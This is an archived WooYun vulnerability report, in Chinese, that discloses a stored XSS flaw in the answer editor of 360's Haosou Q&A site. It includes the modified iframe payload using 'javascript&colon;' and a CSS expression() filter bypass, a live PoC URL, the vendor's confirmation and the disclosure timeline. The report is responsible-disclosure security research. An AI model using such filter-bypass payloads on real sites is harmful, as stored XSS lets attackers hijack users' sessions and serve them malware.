360旗下好搜问答正文存储型XSS可挂马

编号97727
Urlhttp://www.wooyun.org/bug.php?action=view&id=97727
漏洞状态厂商已经确认
漏洞标题360旗下好搜问答正文存储型XSS可挂马
漏洞类型XSS跨站脚本攻击
厂商奇虎360
白帽子我是小号
提交日期2015-02-18 20:41:00
公开日期2015-04-04 20:42:00
修复时间(not set)
确认时间2015-02-18 00:00:00
Confirm Spend0
漏洞标签持久型xss
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank10
漏洞简介
新年快乐~
漏洞细节

1. 先在好搜问答回答处插入一个地图,然后抓包

04.png


2. 发现地图的引用方式是通过iframe标签引入的,然后我们修改<iframe>里面的代码,插入xss code修改为:

<p><iframe data-pid="a6cf4367a98aa0fa" data-type="poi" class="mod-so-map-ifr js-so-map-ifr" width="98%" height="350" frameborder="no" border="0" name="editor-so-map" src="javascript&colon;alert(1)" style="width:ex/**/pression(alert(1))"></iframe></p><p>是无线的问题,有限制的访问权限代表可能无线信号不好或者是密码不对?<br /></p><p><br /></p>


3. 然后重新提交一次请求

03.png


提交成功返回状态码200,查看具体页面发现已经弹窗
FireFox最新版本:

02.png


百度浏览器:

000.png


POC

POC地址:

http://wenda.haosou.com/q/1424250145722842


审查元素,发现触发的位置是iframe的src属性里面javascript:alert(1)

01.png


看了一下加上了Http-Only标记,不过存储型XSS能做的可不止这么多哦!

修复方案

富文本编辑器的XSS过滤策略

状态信息 2015-02-18: 细节已通知厂商并且等待厂商处理中
2015-02-18: 厂商已经确认,细节仅向厂商公开
2015-02-28: 细节向核心白帽子及相关领域专家公开
2015-03-10: 细节向普通白帽子公开
2015-03-20: 细节向实习白帽子公开
2015-04-04: 细节向公众公开
厂商回复感谢您的反馈! 已通知相关业务尽快修复
回应信息危害等级:中漏洞Rank:10 确认时间:2015-02-18 23:35
Showing 1-3 of 3 items.
评论内容评论人点赞数评论时间

乌云审核也好辛苦啊~新年快乐~

MingHuang02015-02-18 23:53:00

你关注的白帽子 我是小号 发表了漏洞 360旗下好搜问答正文存储型XSS可挂马

blast02015-02-18 21:51:00

现在还有人审洞 orz

小学猹02015-02-18 20:42:00